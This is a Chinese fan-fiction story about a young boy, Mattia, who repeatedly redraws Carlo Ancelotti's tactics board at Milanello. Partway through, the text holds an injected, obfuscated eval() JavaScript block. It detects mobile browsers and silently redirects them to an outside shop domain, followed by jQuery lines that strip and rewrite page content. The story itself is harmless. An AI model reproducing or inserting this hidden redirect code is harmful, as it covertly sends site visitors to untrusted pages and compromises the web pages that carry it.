无责任番外：安切洛蒂与战术板失踪事件
马蒂亚那年六岁。
不算大，但已经足够在米兰内洛的走廊里认路了。尤其是那条通往主教练办公室的路——他记得很清楚，因为那扇门从来不锁。
安切洛蒂第一次发现战术板上的图被改过，是一个周三的上午。
他上午开会前摊开战术板，上面画好的阵型、箭头、跑动路线，清清楚楚。
四十五分钟后他回来，发现图上的箭头方向全反了。原本朝前的传球线全被擦掉，画成了朝后——中场回传门将，门将传回中卫，中卫再传回门将。
整张板子变成了一张“本队如何把球传回自家球门”的地图。
安切洛蒂站在板子前面看了十秒钟。
旁边助理教练说：“可能是哪个球员开玩笑。”安切洛蒂说：“哪个球员会把门将画成前锋？”板上确实有一处修改——他把门将的名字用线圈起来，旁边画了一个箭头指向对方球门，旁边写着三个字：“进攻了。”
安切洛蒂把那三个字看了很久。
字是歪的，笔画是飘的，像一个人在踮着脚用马克笔够板子。
他没有擦。
第二次是那周的周五。安切洛蒂在午休时回办公室拿水杯，推门看到战术板上多了一个火柴人。火柴人站在球场正中央，头顶上写着三个字：“我在这。”
那个火柴人的胳膊被画得很长，伸到两边的边线，像是在拥抱整个球场。脚下画了一根横线，线的两端分别写了“左”和“右”。右上角还有一行小字，字体比第一次端正了一些：“我也要站中间。”
安切洛蒂坐在办公椅上，对着那块板子看了整整三分钟。
然后他叫人把办公室的门换成带锁的。
但这并没有拦住马蒂亚。因为战术板不只在办公室，训练场上也有一块，放在边线附近供临时画图用的。那一块通常是活动的、可以推走的小白板。
周三训练结束后，安切洛蒂回到办公室，发现那块小白板不见了。他问了几个工作人员，都说没看到。他不知道的是，那块小白板正在场边的一棵树下被一个六岁小孩当作野餐垫用——板上摆着一小堆从食堂顺来的饼干和一瓶喝了一半的果汁。
第二天早上，安切洛蒂在办公室门口看到了那块板子，靠在墙上，干净得像刚出厂。
板子背面贴了一张纸条，用胶带粘得很牢固：“我用完了，还你。”胶带贴了三道，像是怕掉下来。
安切洛蒂把那张纸条撕下来，翻过来看了看背面——空白。他把纸条重新贴回去，板子推回原位，没有追问。
后来队里有个教练听说这件事，笑着问他有没有把那块板子扔掉。安切洛蒂说：“没扔。”他想了一下，“但他下次再拿，我就要给他上课了。”
他说的“上课”是后来有一次全队会议开始前，他让马蒂亚站在战术板前面，自己坐在旁边，问了他四个问题：
“你画的火柴人为什么站在中间？”
马蒂亚说：“因为中间最方便看到两边。”
“你画的箭头为什么朝后？”
马蒂亚说：“因为前锋跑太快了，传不到他们脚下。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944031|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你为什么在门将名字旁边画进攻箭头？”
“因为门将也是人，人就可以进攻。”
安切洛蒂点了点头，没有评价对错，然后问了最后一个问题：“你下次还要拿我的板吗？”
马蒂亚没有立刻回答。他看着安切洛蒂，又看了看那块板子，最后说：“如果我不拿，你能在上面画一个长着翅膀的人吗？”
安切洛蒂看着他，沉默了一拍，然后说：“明天来办公室。”
第二天，战术板上确实多了一个长着翅膀的火柴人，站在球场中央，头顶上歪歪扭扭写着一行字——“我来接球了。”
旁边还有一行小字，是安切洛蒂写的：“别用门将接。”
马蒂亚站在板子前看了很久，然后他拿着马克笔，在门将的位置画了一双翅膀，又在旁边写了一句：“那门将也可以。”
从那天开始，安切洛蒂的战术板上偶尔会多出一些奇怪的细节：一条线画成波浪形，一个球员名字被涂成另一个颜色，某个数字旁边画了一颗星。安切洛蒂不会每次都擦掉，有时候他会等马蒂亚下次跑进来的时候，指着那处修改说：“这个我不同意。”然后马蒂亚会站在他旁边，踮着脚，拿马克笔把那条线改成别的。
很多年后，马蒂亚在米兰一线队的某次赛前会议上，安切洛蒂已经是皇马主教练。但那块板子还在米兰内洛的某个仓库里——没人知道。
有人最后一次看到它时，板面左下角还有一行小字，墨水已经有些褪了，但依稀能辨认出来：“下次我还要拿你的板。
嘘，这是一个秘密。